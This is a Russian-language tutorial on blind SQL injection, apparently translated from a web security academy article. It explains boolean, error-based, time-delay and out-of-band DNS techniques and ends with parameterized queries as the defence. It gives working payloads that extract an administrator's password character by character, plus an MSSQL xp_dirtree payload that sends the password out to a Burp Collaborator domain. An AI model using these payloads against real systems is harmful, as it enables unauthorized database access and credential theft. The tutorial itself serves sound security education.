Слепая SQL-инъекция

Источник: «Blind SQL injection»
В этой статье мы разберёмся, что такое слепая SQL-инъекция, объясним различные методы поиска и эксплуатации слепых SQL-инъекций.

Что такое Слепая SQL-инъекция

Слепая SQL-инъекция возникает, когда приложение уязвимо для SQL-инъекции, но его HTTP-ответы не содержат результатов соответствующего SQL-запроса или сведений об ошибках базы данных.

С уязвимостями слепых SQL-инъекций многие методы, такие как UNION атаки, неэффективны, поскольку они полагаются на возможность увидеть результаты внедрённого запроса в ответах приложения. По-прежнему можно использовать слепую SQL-инъекцию для несанкционированного доступа к данным, но необходимо использовать другие методы.

Использование слепой SQL-инъекции запуском условных ответов

Рассмотрим приложение использующее отслеживающие файлы cookie для сбора аналитики об использовании сайта/приложения. Запросы к приложению включают такой заголовок cookie:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

Когда запрос, содержащий cookie TrackingId, обрабатывается, приложение определяет, известен ли ему этот пользователь, с помощью SQL-запроса, подобного этому:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

Этот запрос уязвим для SQL-инъекции, но результаты запроса не возвращаются пользователю. Однако приложение ведёт себя по-разному в зависимости от того, возвращает ли запрос какие-либо данные. Если он возвращает данные (поскольку был отправлен распознанный TrackingId), то на странице отображается сообщение Добро пожаловать обратно.

Этого поведения достаточно, чтобы иметь возможность использовать уязвимость слепой SQL-инъекции и извлекать информацию, вызывая различные ответы условно, в зависимости от введённого условия. Чтобы увидеть, как это работает, предположим, что два запроса отправленные по очереди, содержат следующие значения cookie TrackingId:

…xyz' AND '1'='1
…xyz' AND '1'='2

Первое из этих значений приведёт к тому, что запрос вернёт результаты, поскольку введённое условие AND '1'='1 истинно, и поэтому будет отображаться сообщение Добро пожаловать обратно. Принимая во внимание, что второе значение приведёт к тому, что запрос не вернёт ни каких результатов, поскольку введённое условие является ложным, и поэтому сообщение Добро пожаловать обратно не будет отображаться. Это позволяет нам определить ответ на любое введённое условие, и таким образом извлекать данные по одному биту за раз.

Например, предположим, что есть таблица Users со столбцами Username и Password и пользователь с именем Administrator. Мы можем систематически определять пароль для этого пользователя, отправляя серию входных данных для проверки пароля по одному символу за раз.

Для этого начнём со следующего ввода:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Это вернёт сообщение Добро пожаловать обратно, указывая, что введённое условие истинно и поэтому первый символ пароля больше m.

Далее мы отправляем следующий ввод:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

Это не вернёт сообщение Добро пожаловать обратно, указывая, что введённое условие ложно, и поэтому первый символ пароля не больше t.

В конце концов, мы отправляем следующий ввод, который возвращает сообщение Добро пожаловать обратно, тем самым подтверждая, что первый символ пароля — s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

Мы можем продолжить этот процесс, чтобы систематически определить полный пароль пользователя Administrator.

Примечание: Функция SUBSTRING в некоторых типах баз данных называется SUBSTR. Дополнительные сведения есть в шпаргалке по SQL-инъекциям Подстрока.

Вызов условных ответов запуском SQL ошибок

Возьмём предыдущий пример, и предположим, что приложения выполняет похожие SQL-запросы, но ведёт себя одинаково не зависимо от того, возвращает ли запрос какие-либо данные. Предыдущий метод не будет работать, потому что введение различных логических условий не влияет на ответы приложения.

В этой ситуации часто можно заставить приложение возвращать условные ответы вызывая SQL ошибки условно, в зависимости от введённого условия. Это включает в себя изменение запроса таким образом, чтобы он вызывал ошибки базы данных, если условие истинно и не вызывал, если условие ложно. Очень часто необработанная ошибка, выдаваемая базой данных, приводит к некоторой разнице в ответе приложения (например, к сообщению об ошибке), что позволяет нам сделать вывод об истинности внедрённого условия.

Чтобы увидеть, как это работает, предположим, что два запроса отправленные по очереди, содержат следующие значения cookie TrackingId:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

В этих входных данных используется ключевое слово CASE для проверки условия и возврата другого выражения в зависимости от того, истинно ли выражение. В первом вводе, выражение CASE оценивается как a, что не вызывает никакой ошибки. Во втором вводе он оценивается как 1/0, что вызывает ошибку деления на ноль. Предполагая, что ошибка вызовет некоторую разницу в HTTP-ответе приложения, мы можем использовать эту разницу, что бы сделать вывод, верно ли введённое условие.

Используя эту технику, мы можем получать данные ранее описанным способом, систематически проверяя один символ за раз:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Примечание: Существуют разные способы запуска условных ошибок, и разные методы лучше всего подходят для разных типов баз данных. Дополнительные сведения есть в шпаргалке по SQL-инъекциям. Условные ошибки базы данных.

Использование слепых SQL-инъекций запуском временных задержек

Возьмём предыдущий пример и предположим, что приложение теперь отлавливает ошибки базы данных и корректно их обрабатывает. Запуск ошибки базы данных при выполнении SQL-инъекции больше не вызывает никаких различий в ответе приложения, поэтому предыдущий метод создания условных ошибок работать не будет.

В этой ситуации часто можно использовать уязвимость слепой SQL-инъекции условно вызывая временные задержки, в зависимости от введённого условия. Поскольку SQL-запросы обычно обрабатываются приложением синхронно, задержка выполнения SQL-запроса также приведёт к задержке HTTP-ответа. Это позволяет сделать вывод об истинности внедрённого условия на основе времени, затраченного для получения HTTP-ответа.

Методы запуска временной задержки сильно зависят от типа используемой базы данных. В Microsoft SQL Server ввод, подобный следующему, может использоваться для проверки условия и запуска задержки в зависимости от истинности выражения:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

Первая строка ввода не вызовет задержку, потому что условие 1=2 ложно. Вторая строка ввода вызовет задержку в 10 секунд, потому что условие 1=1 истинно.

Используя эту технику, мы можем получать данные уже описанным способом, систематически проверяя один символ за раз:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Примечание: Существуют разные способы запуска временных задержек в SQL-запросах, и к разным типам баз данных применяются разные методы. Дополнительные сведения есть в шпаргалке по SQL-инъекциям. Временные задержки базы данных.

Использование слепых SQL-инъекций с использованием техники OAST

Теперь предположим, что приложение выполняет тот же SQL-запрос, но делает это асинхронно. Приложение продолжает обрабатывать запрос пользователя в исходном потоке и использует другой поток для выполнения SQL-запроса с использованием отслеживаемого файла cookie. Запрос по-прежнему уязвим для SQL-инъекции, однако ни один из описанных методов не сработает: ответ приложения не зависит от того, возвращает ли запрос какие-либо данные, возникает ли ошибка базы данных или от времени затраченного на выполнение запроса.

В этой ситуации часто можно использовать уязвимость слепой SQL-инъекции, запуская внеполосные сетевые взаимодействия с системой, которую вы контролируете. Как и ранее, они могут запускаться условно, в зависимости от введённого условия, чтобы выводить информацию по одному биту за раз. Но что ещё более важно, данные могут быть отфильтрованы непосредственно в рамках самого сетевого взаимодействия.

Для этой цели можно использовать различные сетевые протоколы, но, как правило, наиболее эффективным является DNS. Это связано с тем, что очень многие производственные сети допускают свободное прохождение DNS-запросов, поскольку они необходимы для нормальной работы производственных систем.

Один из простых способов использования внеполосных методов — использование Burp Collaborator. Это сервер предоставляющий настраиваемые реализации различных сетевых служб (включая DNS) и позволяющий обнаруживать, когда происходят сетевые взаимодействия в результате отправки отдельных полезных данных уязвимому приложению.

Методы запуска DNS-запроса сильно зависят от типа используемой базы данных. В Microsoft SQL Server ввод, подобный следующему, может использоваться для DNS lookup в указанном домене:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

Это заставит базу данных выполнить поиск следующего домена:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

Вы можете использовать Burp Collaborator для создания уникального поддомена и опроса сервере Collaborator для подтверждения, когда происходит какой-либо DNS поиск.

Подтвердив способ инициирования внеполосных взаимодействий, вы можете использовать внеполосный канал для эксфильтрации данных из уязвимого приложения. Например:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Этот ввод считывает пароль для пользователя Administrator, добавляет уникальный поддомен Collaborator и запускает DNS поиск. Это приведёт к поиску DNS, подобному следующему, что позволит вам просмотреть захваченный пароль:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Внеполосные методы (OAST) — чрезвычайно мощный способ обнаружения и использования слепых SQL-инъекций из-за высокой вероятности успеха и возможности прямой эксфильтрации данных внутри внеполосного канала. По этой причине методы OAST часто предпочтительнее даже в ситуациях, когда другие методы слепой эксплуатации работают.

Примечание: Существуют разные способы запуска внеполосных взаимодействий, и к разным типам баз данных применяются разные методы. Дополнительные сведения есть в шпаргалке по SQL-инъекциям. DNS lookup.

Как предотвратить слепую SQL-инъекцию

Хотя методы, необходимые для поиска и использования уязвимостей, связанных со слепыми SQL-инъекциями, отличаются и являются более сложными, чем для обычных SQL-инъекций. Меры необходимые для предотвращения SQL-инъекций одинаковые независимо от того, является ли уязвимость слепой или нет.

Как и в случае с обычной SQL-инъекцией, атаки со слепой SQL-инъекцией можно предотвратить за счёт осторожного использования параметризованных запросов, которые гарантируют, что пользовательский ввод не будет мешать структуре предполагаемого SQL-запроса.

Дополнительные материалы

Предыдущая Статья

PHP Файберы: Что это такое и где их использовать

Следующая Статья

Vim: Дилемма swap и backup файлов